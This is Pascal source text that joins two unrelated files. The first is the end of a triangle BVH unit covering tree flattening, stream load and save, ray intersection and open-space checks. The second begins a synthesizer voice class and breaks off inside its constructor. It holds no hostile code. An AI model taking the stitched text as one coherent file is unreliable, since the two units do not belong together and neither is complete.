NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[1];
NewDynamicAABBTreeNodeStackItem.NodeIndex:=TreeNode^.FirstLeftChild+1;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
NewDynamicAABBTreeNodeStackItem.DynamicAABBTreeNodeIndex:=DynamicAABBTreeNode^.Children[0];
NewDynamicAABBTreeNodeStackItem.NodeIndex:=TreeNode^.FirstLeftChild;
DynamicAABBTreeNodeStack.Push(NewDynamicAABBTreeNodeStackItem);
end else begin
TreeNode^.FirstLeftChild:=-1;
end;
TreeNode^.CountTriangles:=length(DynamicAABBTreeNode^.Triangles);
if TreeNode^.CountTriangles>0 then begin
TreeNode^.FirstTriangleIndex:=CountNewTriangles;
for Index:=0 to length(DynamicAABBTreeNode^.Triangles)-1 do begin
TriangleIndex:=DynamicAABBTreeNode^.Triangles[Index];
TriangleIndices[TriangleIndex]:=CountNewTriangles;
inc(CountNewTriangles);
Triangle:=@fTriangles[TriangleIndex];
AABB.Min.x:=Min(Min(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
AABB.Min.y:=Min(Min(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
AABB.Min.z:=Min(Min(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
AABB.Max.x:=Max(Max(Triangle^.Points[0].x,Triangle^.Points[1].x),Triangle^.Points[2].x);
AABB.Max.y:=Max(Max(Triangle^.Points[0].y,Triangle^.Points[1].y),Triangle^.Points[2].y);
AABB.Max.z:=Max(Max(Triangle^.Points[0].z,Triangle^.Points[1].z),Triangle^.Points[2].z);
if Index=0 then begin
TreeNode^.Bounds:=AABB;
end else begin
TreeNode^.Bounds:=TreeNode^.Bounds.Combine(AABB);
end;
end;
end else begin
TreeNode^.FirstTriangleIndex:=-1;
end;
end else begin
TreeNode^.Bounds.Min:=TpvVector3.InlineableCreate(1e30,1e30,1e30);
TreeNode^.Bounds.Max:=TpvVector3.InlineableCreate(-1e30,-1e30,-1e30);
TreeNode^.FirstTriangleIndex:=0;
TreeNode^.CountTriangles:=0;
TreeNode^.FirstLeftChild:=-1;
end;
end;
if CountNewTriangles<fCountTriangles then begin
for Index:=CountNewTriangles to fCountTriangles-1 do begin
TriangleIndices[Index]:=CountNewTriangles;
inc(CountNewTriangles);
end;
end;
// In-place array reindexing
begin
for Index:=0 to fCountTriangles-1 do begin
TargetIndex:=TriangleIndices[Index];
while Index<>TargetIndex do begin
TemporaryTriangle:=fTriangles[Index];
fTriangles[Index]:=fTriangles[TargetIndex];
fTriangles[TargetIndex]:=TemporaryTriangle;
NextTargetIndex:=TriangleIndices[TargetIndex];
TemporaryIndex:=TriangleIndices[Index];
TriangleIndices[Index]:=NextTargetIndex;
TriangleIndices[TargetIndex]:=TemporaryIndex;
TargetIndex:=NextTargetIndex;
end;
end;
end;
finally
TriangleIndices:=nil;
end;
end;
finally
DynamicAABBTreeNodeStack.Finalize;
end;
finally
DynamicAABBTreeNodes:=nil;
end;
finally
FreeAndNil(DynamicAABBTree);
end;
end else begin
fCountTreeNodes:=1;
fTreeNodeRoot:=0;
TreeNode:=@fTreeNodes[fTreeNodeRoot];
TreeNode^.Bounds:=fBounds;
TreeNode^.FirstLeftChild:=-1;
TreeNode^.FirstTriangleIndex:=-1;
TreeNode^.CountTriangles:=0;
end;
end else begin
fCountTreeNodes:=1;
fTreeNodeRoot:=0;
TreeNode:=@fTreeNodes[fTreeNodeRoot];
TreeNode^.Bounds:=fBounds;
TreeNode^.FirstLeftChild:=-1;
if fCountTriangles>0 then begin
TreeNode^.FirstTriangleIndex:=0;
TreeNode^.CountTriangles:=fCountTriangles;
if fCountTriangles>=MaximumTrianglesPerNode then begin
fNodeQueue.Clear;
fNodeQueue.Enqueue(0);
fCountActiveWorkers:=0;
if assigned(fPasMPInstance) and (fPasMPInstance.CountJobWorkerThreads>0) then begin
Jobs:=nil;
try
SetLength(Jobs,fPasMPInstance.CountJobWorkerThreads);
for JobIndex:=0 to length(Jobs)-1 do begin
Jobs[JobIndex]:=fPasMPInstance.Acquire(BuildJob,self,nil,0,0);
end;
fPasMPInstance.Invoke(Jobs);
finally
Jobs:=nil;
end;
end else begin
ProcessNodeQueue;
end;
end;
end else begin
TreeNode^.FirstTriangleIndex:=-1;
TreeNode^.CountTriangles:=0;
end;
end;
if length(fSkipListNodeMap)<=fCountTreeNodes then begin
SetLength(fSkipListNodeMap,fCountTreeNodes+((fCountTreeNodes+1) shr 1));
end;
if length(fSkipListNodes)<=fCountTreeNodes then begin
SetLength(fSkipListNodes,fCountTreeNodes+((fCountTreeNodes+1) shr 1));
end;
fCountSkipListNodes:=0;
fTreeNodeStack.Push((TpvUInt64(fTreeNodeRoot) shl 1) or 0);
while fTreeNodeStack.Pop(StackItem) do begin
TreeNodeIndex:=StackItem shr 1;
TreeNode:=@fTreeNodes[TreeNodeIndex];
case StackItem and 1 of
0:begin
SkipListNodeIndex:=fCountSkipListNodes;
inc(fCountSkipListNodes);
SkipListNode:=@fSkipListNodes[SkipListNodeIndex];
fSkipListNodeMap[TreeNodeIndex]:=SkipListNodeIndex;
SkipListNode^.Min.xyz:=TreeNode^.Bounds.Min;
SkipListNode^.Min.w:=0.0;
SkipListNode^.Max.xyz:=TreeNode^.Bounds.Max;
SkipListNode^.Max.w:=0.0;
if TreeNode^.FirstLeftChild>=0 then begin
// No leaf
SkipListNode^.FirstTriangleIndex:=-1;
SkipListNode^.CountTriangles:=0;
end else begin
// Leaf
SkipListNode^.FirstTriangleIndex:=TreeNode^.FirstTriangleIndex;
SkipListNode^.CountTriangles:=TreeNode^.CountTriangles;
end;
SkipListNode^.SkipCount:=0;
SkipListNode^.Dummy:=0;
fTreeNodeStack.Push((TpvUInt64(TreeNodeIndex) shl 1) or 1);
if TreeNode^.FirstLeftChild>=0 then begin
fTreeNodeStack.Push((TpvUInt64(TreeNode^.FirstLeftChild+1) shl 1) or 0);
fTreeNodeStack.Push((TpvUInt64(TreeNode^.FirstLeftChild+0) shl 1) or 0);
end;
end;
else {1:}begin
SkipListNodeIndex:=fSkipListNodeMap[TreeNodeIndex];
fSkipListNodes[SkipListNodeIndex].SkipCount:=fCountSkipListNodes-SkipListNodeIndex;
end;
end;
end;
end;
procedure TpvTriangleBVH.LoadFromStream(const aStream:TStream);
var Signature:TTriangleBVHFileSignature;
Version:TpvUInt32;
CountTriangles,CountTreeNodes,CountSkipListNodes:TpvUInt32;
{TriangleIndex,TreeNodeIndex,SkipListNodeIndex:TpvSizeInt;
Triangle:PpvTriangleBVHTriangle;
TreeNode:PpvTriangleBVHTreeNode;
SkipListNode:PpvTriangleBVHSkipListNode;}
begin
aStream.ReadBuffer(Signature,SizeOf(TriangleBVHFileSignature));
if Signature<>TriangleBVHFileSignature then begin
raise EpvTriangleBVH.Create('Invalid signature');
end;
aStream.ReadBuffer(Version,SizeOf(TpvUInt32));
if Version<>TriangleBVHFileVersion then begin
raise EpvTriangleBVH.Create('Invalid version');
end;
aStream.ReadBuffer(CountTriangles,SizeOf(TpvUInt32));
aStream.ReadBuffer(CountTreeNodes,SizeOf(TpvUInt32));
aStream.ReadBuffer(CountSkipListNodes,SizeOf(TpvUInt32));
Clear;
SetLength(fTriangles,CountTriangles);
SetLength(fTreeNodes,CountTreeNodes);
SetLength(fSkipListNodes,CountSkipListNodes);
{$if true}
if CountTriangles>0 then begin
aStream.ReadBuffer(fTriangles[0],CountTriangles*SizeOf(TpvTriangleBVHTriangle));
end;
if CountTreeNodes>0 then begin
aStream.ReadBuffer(fTreeNodes[0],CountTreeNodes*SizeOf(TpvTriangleBVHTreeNode));
end;
if CountSkipListNodes>0 then begin
aStream.ReadBuffer(fSkipListNodes[0],CountSkipListNodes*SizeOf(TpvTriangleBVHSkipListNode));
end;
{$else}
for TriangleIndex:=0 to CountTriangles-1 do begin
Triangle:=@fTriangles[TriangleIndex];
aStream.ReadBuffer(Triangle^.Points[0],SizeOf(TpvVector3));
aStream.ReadBuffer(Triangle^.Points[1],SizeOf(TpvVector3));
aStream.ReadBuffer(Triangle^.Points[2],SizeOf(TpvVector3));
aStream.ReadBuffer(Triangle^.Normal,SizeOf(TpvVector3));
aStream.ReadBuffer(Triangle^.Center,SizeOf(TpvVector3));
aStream.ReadBuffer(Triangle^.Data,SizeOf(TpvPtrInt));
aStream.ReadBuffer(Triangle^.Flags,SizeOf(TpvUInt32));
end;
for TreeNodeIndex:=0 to CountTreeNodes-1 do begin
TreeNode:=@fTreeNodes[TreeNodeIndex];
aStream.ReadBuffer(TreeNode^.Bounds,SizeOf(TpvAABB));
aStream.ReadBuffer(TreeNode^.FirstLeftChild,SizeOf(TpvInt32));
aStream.ReadBuffer(TreeNode^.FirstTriangleIndex,SizeOf(TpvInt32));
aStream.ReadBuffer(TreeNode^.CountTriangles,SizeOf(TpvInt32));
end;
for SkipListNodeIndex:=0 to CountSkipListNodes-1 do begin
SkipListNode:=@fSkipListNodes[SkipListNodeIndex];
aStream.ReadBuffer(SkipListNode^.Min,SizeOf(TpvVector4));
aStream.ReadBuffer(SkipListNode^.Max,SizeOf(TpvVector4));
aStream.ReadBuffer(SkipListNode^.FirstTriangleIndex,SizeOf(TpvInt32));
aStream.ReadBuffer(SkipListNode^.CountTriangles,SizeOf(TpvInt32));
aStream.ReadBuffer(SkipListNode^.SkipCount,SizeOf(TpvInt32));
aStream.ReadBuffer(SkipListNode^.Dummy,SizeOf(TpvInt32));
end;
{$ifend}
end;
procedure TpvTriangleBVH.SaveToStream(const aStream:TStream);
var Signature:TTriangleBVHFileSignature;
Version:TpvUInt32;
CountTriangles,CountTreeNodes,CountSkipListNodes:TpvUInt32;
{TriangleIndex,TreeNodeIndex,SkipListNodeIndex:TpvSizeInt;
Triangle:PpvTriangleBVHTriangle;
TreeNode:PpvTriangleBVHTreeNode;
SkipListNode:PpvTriangleBVHSkipListNode;}
begin
Signature:=TriangleBVHFileSignature;
aStream.WriteBuffer(Signature,SizeOf(TriangleBVHFileSignature));
Version:=TriangleBVHFileVersion;
aStream.WriteBuffer(Version,SizeOf(TpvUInt32));
CountTriangles:=fCountTriangles;
aStream.WriteBuffer(CountTriangles,SizeOf(TpvUInt32));
CountTreeNodes:=fCountTreeNodes;
aStream.WriteBuffer(CountTreeNodes,SizeOf(TpvUInt32));
CountSkipListNodes:=fCountSkipListNodes;
aStream.WriteBuffer(CountSkipListNodes,SizeOf(TpvUInt32));
{$if true}
if fCountTriangles>0 then begin
aStream.WriteBuffer(fTriangles[0],fCountTriangles*SizeOf(TpvTriangleBVHTriangle));
end;
if fCountTreeNodes>0 then begin
aStream.WriteBuffer(fTreeNodes[0],fCountTreeNodes*SizeOf(TpvTriangleBVHTreeNode));
end;
if fCountSkipListNodes>0 then begin
aStream.WriteBuffer(fSkipListNodes[0],fCountSkipListNodes*SizeOf(TpvTriangleBVHSkipListNode));
end;
{$else}
for TriangleIndex:=0 to fCountTriangles-1 do begin
Triangle:=@fTriangles[TriangleIndex];
aStream.WriteBuffer(Triangle^.Points[0],SizeOf(TpvVector3));
aStream.WriteBuffer(Triangle^.Points[1],SizeOf(TpvVector3));
aStream.WriteBuffer(Triangle^.Points[2],SizeOf(TpvVector3));
aStream.WriteBuffer(Triangle^.Normal,SizeOf(TpvVector3));
aStream.WriteBuffer(Triangle^.Center,SizeOf(TpvVector3));
aStream.WriteBuffer(Triangle^.Data,SizeOf(TpvPtrInt));
aStream.WriteBuffer(Triangle^.Flags,SizeOf(TpvUInt32));
end;
for TreeNodeIndex:=0 to fCountTreeNodes-1 do begin
TreeNode:=@fTreeNodes[TreeNodeIndex];
aStream.WriteBuffer(TreeNode^.Bounds,SizeOf(TpvAABB));
aStream.WriteBuffer(TreeNode^.FirstLeftChild,SizeOf(TpvInt32));
aStream.WriteBuffer(TreeNode^.FirstTriangleIndex,SizeOf(TpvInt32));
aStream.WriteBuffer(TreeNode^.CountTriangles,SizeOf(TpvInt32));
end;
for SkipListNodeIndex:=0 to fCountSkipListNodes-1 do begin
SkipListNode:=@fSkipListNodes[SkipListNodeIndex];
aStream.WriteBuffer(SkipListNode^.Min,SizeOf(TpvVector4));
aStream.WriteBuffer(SkipListNode^.Max,SizeOf(TpvVector4));
aStream.WriteBuffer(SkipListNode^.FirstTriangleIndex,SizeOf(TpvInt32));
aStream.WriteBuffer(SkipListNode^.CountTriangles,SizeOf(TpvInt32));
aStream.WriteBuffer(SkipListNode^.SkipCount,SizeOf(TpvInt32));
aStream.WriteBuffer(SkipListNode^.Dummy,SizeOf(TpvInt32));
end;
{$ifend}
end;
function TpvTriangleBVH.RayIntersection(const aRay:TpvTriangleBVHRay;var aIntersection:TpvTriangleBVHIntersection;const aFastCheck:boolean;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
var SkipListNodeIndex,CountSkipListNodes,TriangleIndex:TpvInt32;
SkipListNode:PpvTriangleBVHSkipListNode;
Triangle:PpvTriangleBVHTriangle;
Time,u,v,w:TpvScalar;
OK:boolean;
begin
result:=false;
SkipListNodeIndex:=0;
CountSkipListNodes:=fCountSkipListNodes;
while SkipListNodeIndex<CountSkipListNodes do begin
SkipListNode:=@fSkipListNodes[SkipListNodeIndex];
if TpvAABB.FastRayIntersection(SkipListNode^.Min.Vector3,SkipListNode^.Max.Vector3,aRay.Origin,aRay.Direction) then begin
for TriangleIndex:=SkipListNode^.FirstTriangleIndex to (SkipListNode^.FirstTriangleIndex+SkipListNode^.CountTriangles)-1 do begin
Triangle:=@fTriangles[TriangleIndex];
if ((Triangle^.Flags and aFlags)<>0) and ((Triangle^.Flags and aAvoidFlags)=0) then begin
OK:=Triangle^.RayIntersection(aRay,Time,u,v,w);
if OK then begin
if (Time>=0.0) and (IsInfinite(aIntersection.Time) or (Time<aIntersection.Time)) then begin
result:=true;
aIntersection.Time:=Time;
aIntersection.Triangle:=Triangle;
aIntersection.IntersectionPoint:=aRay.Origin+(aRay.Direction*Time);
aIntersection.Barycentrics:=TpvVector3.InlineableCreate(u,v,w);
if aFastCheck then begin
exit;
end;
end;
end;
end;
end;
inc(SkipListNodeIndex);
end else begin
if SkipListNode^.SkipCount=0 then begin
break;
end else begin
inc(SkipListNodeIndex,SkipListNode^.SkipCount);
end;
end;
end;
end;
function TpvTriangleBVH.CountRayIntersections(const aRay:TpvTriangleBVHRay;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):TpvInt32;
var SkipListNodeIndex,CountSkipListNodes,TriangleIndex:TpvInt32;
SkipListNode:PpvTriangleBVHSkipListNode;
Triangle:PpvTriangleBVHTriangle;
Time,u,v,w:TpvScalar;
begin
result:=0;
SkipListNodeIndex:=0;
CountSkipListNodes:=fCountSkipListNodes;
while SkipListNodeIndex<CountSkipListNodes do begin
SkipListNode:=@fSkipListNodes[SkipListNodeIndex];
if TpvAABB.FastRayIntersection(SkipListNode^.Min.Vector3,SkipListNode^.Max.Vector3,aRay.Origin,aRay.Direction) then begin
for TriangleIndex:=SkipListNode^.FirstTriangleIndex to (SkipListNode^.FirstTriangleIndex+SkipListNode^.CountTriangles)-1 do begin
Triangle:=@fTriangles[TriangleIndex];
if ((Triangle^.Flags and aFlags)<>0) and ((Triangle^.Flags and aAvoidFlags)=0) then begin
if Triangle^.RayIntersection(aRay,Time,u,v,w) then begin
inc(result);
end;
end;
end;
inc(SkipListNodeIndex);
end else begin
if SkipListNode^.SkipCount=0 then begin
break;
end else begin
inc(SkipListNodeIndex,SkipListNode^.SkipCount);
end;
end;
end;
end;
function TpvTriangleBVH.LineIntersection(const aV0,aV1:TpvVector3;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
var Ray:TpvTriangleBVHRay;
Intersection:TpvTriangleBVHIntersection;
Distance:TpvFloat;
begin
result:=false;
FillChar(Intersection,SizeOf(TpvTriangleBVHIntersection),AnsiChar(#0));
Ray.Origin:=aV0;
Ray.Direction:=aV1-aV0;
Distance:=Ray.Direction.Length;
Ray.Direction:=Ray.Direction/Distance;
Intersection.Time:=Distance;
if RayIntersection(Ray,Intersection,true,aFlags,aAvoidFlags) then begin
if Intersection.Time<Distance then begin
result:=true;
end;
end;
end;
function TpvTriangleBVH.IsOpenSpacePerEvenOddRule(const aPosition:TpvVector3;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
const Directions:array[0..5] of TpvVector3=((x:-1.0;y:0.0;z:0.0),
(x:1.0;y:0.0;z:0.0),
(x:0.0;y:1.0;z:0.0),
(x:0.0;y:-1.0;z:0.0),
(x:0.0;y:0.0;z:1.0),
(x:0.0;y:0.0;z:-1.0));
var DirectionIndex,Count:TpvInt32;
Ray:TpvTriangleBVHRay;
begin
Count:=0;
Ray.Origin:=aPosition;
for DirectionIndex:=low(Directions) to high(Directions) do begin
Ray.Direction:=Directions[DirectionIndex];
inc(Count,CountRayIntersections(Ray,aFlags,aAvoidFlags));
end;
// When it's even = Outside any mesh, so we are in open space
// When it's odd = Inside a mesh, so we are not in open space
result:=(Count and 1)=0;
end;
function TpvTriangleBVH.IsOpenSpacePerEvenOddRule(const aPosition:TpvVector3;out aNearestNormal,aNearestNormalPosition:TpvVector3;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
const Directions:array[0..5] of TpvVector3=((x:-1.0;y:0.0;z:0.0),
(x:1.0;y:0.0;z:0.0),
(x:0.0;y:1.0;z:0.0),
(x:0.0;y:-1.0;z:0.0),
(x:0.0;y:0.0;z:1.0),
(x:0.0;y:0.0;z:-1.0));
var DirectionIndex,Count:TpvInt32;
Ray:TpvTriangleBVHRay;
Intersection:TpvTriangleBVHIntersection;
Direction:TpvVector3;
Distance,BestDistance:TpvFloat;
begin
Count:=0;
Ray.Origin:=aPosition;
for DirectionIndex:=low(Directions) to high(Directions) do begin
Ray.Direction:=Directions[DirectionIndex];
inc(Count,CountRayIntersections(Ray));
end;
// When it's even = Outside any mesh, so we are in open space
// When it's odd = Inside a mesh, so we are not in open space
result:=(Count and 1)=0;
if result then begin
Count:=0;
BestDistance:=Infinity;
for DirectionIndex:=low(Directions) to high(Directions) do begin
Ray.Direction:=Directions[DirectionIndex];
FillChar(Intersection,SizeOf(TpvTriangleBVHIntersection),AnsiChar(#0));
Intersection.Time:=Infinity;
if RayIntersection(Ray,Intersection,false,aFlags,aAvoidFlags) then begin
Direction:=Intersection.IntersectionPoint-aPosition;
Distance:=Direction.Length;
Direction:=Direction/Distance;
if Direction.Dot(Intersection.Triangle^.Normal)>0.0 then begin
if (Count=0) or (BestDistance>Distance) then begin
aNearestNormal:=Intersection.Triangle^.Normal;
aNearestNormalPosition:=Intersection.IntersectionPoint+(Intersection.Triangle^.Normal*1e-2);
BestDistance:=Distance;
inc(Count);
end;
end;
end;
end;
end;
end;
function TpvTriangleBVH.IsOpenSpacePerNormals(const aPosition:TpvVector3;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
const Directions:array[0..5] of TpvVector3=((x:-1.0;y:0.0;z:0.0),
(x:1.0;y:0.0;z:0.0),
(x:0.0;y:1.0;z:0.0),
(x:0.0;y:-1.0;z:0.0),
(x:0.0;y:0.0;z:1.0),
(x:0.0;y:0.0;z:-1.0));
var DirectionIndex:TpvInt32;
Ray:TpvTriangleBVHRay;
Intersection:TpvTriangleBVHIntersection;
begin
result:=true;
Ray.Origin:=aPosition;
for DirectionIndex:=low(Directions) to high(Directions) do begin
Ray.Direction:=Directions[DirectionIndex];
FillChar(Intersection,SizeOf(TpvTriangleBVHIntersection),AnsiChar(#0));
Intersection.Time:=Infinity;
if RayIntersection(Ray,Intersection,false,aFlags,aAvoidFlags) then begin
if ((Intersection.IntersectionPoint-aPosition).Normalize).Dot(Intersection.Triangle^.Normal)>0.0 then begin
// Hit point normal is pointing away from us, so we are not in open space and inside a mesh
result:=false;
break;
end;
end;
end;
end;
function TpvTriangleBVH.IsOpenSpacePerNormals(const aPosition:TpvVector3;out aNearestNormal,aNearestNormalPosition:TpvVector3;const aFlags:TpvUInt32;const aAvoidFlags:TpvUInt32):boolean;
const Directions:array[0..5] of TpvVector3=((x:-1.0;y:0.0;z:0.0),
(x:1.0;y:0.0;z:0.0),
(x:0.0;y:1.0;z:0.0),
(x:0.0;y:-1.0;z:0.0),
(x:0.0;y:0.0;z:1.0),
(x:0.0;y:0.0;z:-1.0));
var DirectionIndex:TpvInt32;
Ray:TpvTriangleBVHRay;
Intersection:TpvTriangleBVHIntersection;
Direction:TpvVector3;
Distance,BestDistance:TpvFloat;
begin
result:=true;
Ray.Origin:=aPosition;
BestDistance:=Infinity;
for DirectionIndex:=low(Directions) to high(Directions) do begin
Ray.Direction:=Directions[DirectionIndex];
FillChar(Intersection,SizeOf(TpvTriangleBVHIntersection),AnsiChar(#0));
Intersection.Time:=Infinity;
if RayIntersection(Ray,Intersection,false,aFlags,aAvoidFlags) then begin
Direction:=Intersection.IntersectionPoint-aPosition;
Distance:=Direction.Length;
Direction:=Direction/Distance;;
if Direction.Dot(Intersection.Triangle^.Normal)>0.0 then begin
// Hit point normal is pointing away from us, so we are not in open space and inside a mesh
if result or (BestDistance>Distance) then begin
aNearestNormal:=Intersection.Triangle^.Normal;
aNearestNormalPosition:=Intersection.IntersectionPoint+(Intersection.Triangle^.Normal*1e-2);
BestDistance:=Distance;
end;
result:=false;
end;
end;
end;
end;
end.
|
{$include kode.inc}
unit syn_thesis_voice;
{
TODO:
* better silence detection (avg_count/avg_value)
* pvalues[0..par_count-1]
on_control(AIndex,AValue) -> pvalues[AIndex] := AValue;
* on_process
move most of the code inside their classes
arguments: mod amount, etc..
}
//----------------------------------------------------------------------
interface
//----------------------------------------------------------------------
uses
kode_voice,
syn_thesis_env,
syn_thesis_lfo,
syn_thesis_mod,
syn_thesis_parameters,
syn_thesis_phase,
syn_thesis_pshape,
syn_thesis_wave,
syn_thesis_wshape,
syn_thesis_filter;
const
KODE_MAX_PHASE_SIZE = 65536;
KODE_AVG_SIZE = 2048;
KODE_AVG_THRESHOLD = 0.001;
type
KSynThesis_Voice = class(KVoice)
private
//pvalues : array[0..par_count-1] of single;
{ ----- 1 ----- }
p_pitch_oct1, p_pitch_semi1, p_pitch_cent1, p_pitch_modsrc1 : LongInt;
p_pitch_modamt1,p_pitch_modscale1 : Single;
p_pshape_type1, p_pshape_modsrc1 : LongInt;
p_pshape_amt1, p_pshape_modamt1 : Single;
p_wave_type1 : LongInt;
p_wshape_type1, p_wshape_modsrc1 : LongInt;
p_wshape_amt1, p_wshape_modamt1 : Single;
p_filter_type1, p_filter_modsrc1 : LongInt;
p_filter_freq1, p_filter_bw1, p_filter_modamt1 : Single;
p_vol_modsrc1 : LongInt;
p_vol_levell, p_vol_modamt1 : Single;
{ ----- 2 ----- }
p_pitch_oct2, p_pitch_semi2, p_pitch_cent2, p_pitch_modsrc2 : LongInt;
p_pitch_modamt2,p_pitch_modscale2 : Single;
p_pshape_type2, p_pshape_modsrc2 : LongInt;
p_pshape_amt2, p_pshape_modamt2 : Single;
p_wave_type2 : LongInt;
p_wshape_type2, p_wshape_modsrc2 : LongInt;
p_wshape_amt2, p_wshape_modamt2 : Single;
p_filter_type2, p_filter_modsrc2 : LongInt;
p_filter_freq2, p_filter_bw2, p_filter_modamt2 : Single;
p_vol_modsrc2 : LongInt;
p_vol_level2, p_vol_modamt2 : Single;
{ ----- 3 ----- }
p_pitch_oct3, p_pitch_semi3, p_pitch_cent3, p_pitch_modsrc3 : LongInt;
p_pitch_modamt3,p_pitch_modscale3 : Single;
p_pshape_type3, p_pshape_modsrc3 : LongInt;
p_pshape_amt3, p_pshape_modamt3 : Single;
p_wave_type3 : LongInt;
p_wshape_type3, p_wshape_modsrc3 : LongInt;
p_wshape_amt3, p_wshape_modamt3 : Single;
p_filter_type3, p_filter_modsrc3 : LongInt;
p_filter_freq3, p_filter_bw3, p_filter_modamt3 : Single;
p_vol_modsrc3 : LongInt;
p_vol_level3, p_vol_modamt3 : Single;
{ ----- envelopes ----- }
p_env_att1, p_env_dec1, p_env_sus1, p_env_rel1 : Single;
p_env_att2, p_env_dec2, p_env_sus2, p_env_rel2 : Single;
p_env_att3, p_env_dec3, p_env_sus3, p_env_rel3 : Single;
p_env_att4, p_env_dec4, p_env_sus4, p_env_rel4 : Single;
{ ----- lfo ----- }
p_lfo_type1 : LongInt;
p_lfo_speed1 : Single;
p_lfo_type2 : LongInt;
p_lfo_speed2 : Single;
p_lfo_type3 : LongInt;
p_lfo_speed3 : Single;
p_lfo_type4 : LongInt;
p_lfo_speed4 : Single;
{ ----- master ----- }
p_mix12 : Single;
p_mix23 : Single;
private
{ ----- 1 ----- }
_phase1 : KSynThesis_Phase;
_pshape1 : KSynThesis_PShape;
_wave1 : KSynThesis_Wave;
_wshape1 : KSynThesis_WShape;
_filter1 : KSynThesis_Filter;
{ ----- 2 ----- }
_phase2 : KSynThesis_Phase;
_pshape2 : KSynThesis_PShape;
_wave2 : KSynThesis_Wave;
_wshape2 : KSynThesis_WShape;
_filter2 : KSynThesis_Filter;
{ ----- 3 ----- }
_phase3 : KSynThesis_Phase;
_pshape3 : KSynThesis_PShape;
_wave3 : KSynThesis_Wave;
_wshape3 : KSynThesis_WShape;
_filter3 : KSynThesis_Filter;
{ ----- filter ----- }
_env1 : KSynThesis_Env;
_env2 : KSynThesis_Env;
_env3 : KSynThesis_Env;
_env4 : KSynThesis_Env;
{ ----- lfo ----- }
_lfo1 : KSynThesis_Lfo;
_lfo2 : KSynThesis_Lfo;
_lfo3 : KSynThesis_Lfo;
_lfo4 : KSynThesis_Lfo;
private
{ ----- 1 ----- }
midi_note1 : Single;
midi_vel1 : Single;
midi_pb1 : single;
pitch1 : Single;
hz1 : Single;
ph1 : single;
wav1 : single;
prev_ph1 : Single;
prev_wav1 : Single;
phase_count1 : LongInt;
phase_buffer1 : array[0..KODE_MAX_PHASE_SIZE] of Single;
phase_size1 : LongInt;
phase_wrap1 : Boolean;
{ ----- 2 ----- }
midi_note2 : Single;
midi_vel2 : Single;
midi_pb2 : single;
pitch2 : Single;
hz2 : Single;
ph2 : single;
wav2 : single;
prev_ph2 : Single;
prev_wav2 : Single;
phase_count2 : LongInt;
phase_buffer2 : array[0..KODE_MAX_PHASE_SIZE] of Single;
phase_size2 : LongInt;
phase_wrap2 : Boolean;
{ ----- 3 ----- }
midi_note3 : Single;
midi_vel3 : Single;
midi_pb3 : single;
pitch3 : Single;
hz3 : Single;
ph3 : single;
wav3 : single;
prev_ph3 : Single;
prev_wav3 : Single;
phase_count3 : LongInt;
phase_buffer3 : array[0..KODE_MAX_PHASE_SIZE] of Single;
phase_size3 : LongInt;
phase_wrap3 : Boolean;
{ ----- master ----- }
avg_count : longint;
avg_value : single;
public
constructor create(AManager:Pointer);
destructor destroy; override;
function getBufferSize1 : LongInt;
function getBuffer1 : PSingle;
function getBufferSize2 : LongInt;
function getBuffer2 : PSingle;
function getBufferSize3 : LongInt;
function getBuffer3 : PSingle;
procedure on_setSampleRate(ARate: Single); override;
procedure on_noteOn(ANote,AVel:Single); override;
procedure on_noteOff(ANote,AVel:Single); override;
procedure on_pitchBend(ABend:Single); override;
procedure on_control(AIndex:LongInt; AValue:Single; AGroup:LongInt=-1; ASubGroup:LongInt=-1); override;
procedure on_process(outs: PSingle); override;
private
procedure setPitch1;
procedure setPitch2;
procedure setPitch3;
function calcPitch1(AMod:Single) : Single;
function calcPitch2(AMod:Single) : Single;
function calcPitch3(AMod:Single) : Single;
function calcHz(APitch:Single) : Single;
function getModValue(src:LongInt) : Single;
function getModSrc1{(src:LongInt)} : Single;
function getModSrc2{(src:LongInt)} : Single;
function getModSrc3{(src:LongInt)} : Single;
function getMod(src:longint; val:single) : Single;
end;
//----------------------------------------------------------------------
implementation
//----------------------------------------------------------------------
uses
Math,
kode_const,
kode_debug,
kode_flags,
kode_interpolate,
kode_math,
kode_memory,
syn_thesis,
syn_thesis_voicemanager;
//--------------------------------------------------
// voice
//--------------------------------------------------
constructor KSynThesis_Voice.create(AManager:Pointer);
begin
inherited;
// clear p_* ??? will be filler by setParameter/control ?
//KMemset(@pvalues,0,sizeof(pvalues));
{ ----- 1 ----- }
_phase1 := KSynThesis_Phase.create;
_pshape1 := KSynThesis_PShape.create;
_wave1 := KSynThesis_Wave.create;
_wshape1 := KSynThesis_WShape.create;
_filter1 := KSynThesis_Filter.create;
midi_note1 := 0;
midi_vel1 := 0;
midi_pb1 := 0;
pitch1 := 0;
prev_ph1 := 0;
prev_wav1 := 0;
phase_count1 := 0;
phase_size1 := 0;
phase_wrap1 := False;
{ ----- 2 ----- }
_phase2 := KSynThesis_Phase.create;
_pshape2 := KSynThesis_PShape.create;
_wave2 := KSynThesis_Wave.create;
_wshape2 := KSynThesis_WShape.create;
_filter2 := KSynThesis_Filter.create;
midi_note2 := 0;
midi_vel2 := 0;
midi_pb2 := 0;
pitch2 := 0;
prev_ph2 := 0;
prev_wav2 := 0;
phase_count2 := 0;
phase_size2 := 0;
phase_wrap2 := False;
{ ----- 3 ----- }
_phase3 := KSynThesis_Phase.create;
_pshape3 := KSynThesis_PShape.create;
_wave3 := KSynThesis_Wave.create;
_wshape3 := KSynThesis_WShape.create;
_filter3 := KSynThesis_Filter.create;
midi_note3 := 0;
midi_vel3 := 0;
midi_pb3 := 0;
pitch3 := 0;
prev_ph3 := 0;
prev_wav3 := 0;
phase_count3 := 0;
phase_size3 := 0;
phase_wrap3 := False;
{ ----- envelopes ----- }
_env1 := KSynThesis_Env.create;
_env2 := KSynThesis_Env.create;
_env3 := KSynThesis_Env.create;
_env4 := KSynThesis_Env.create;
{ ----- lfo ----- }
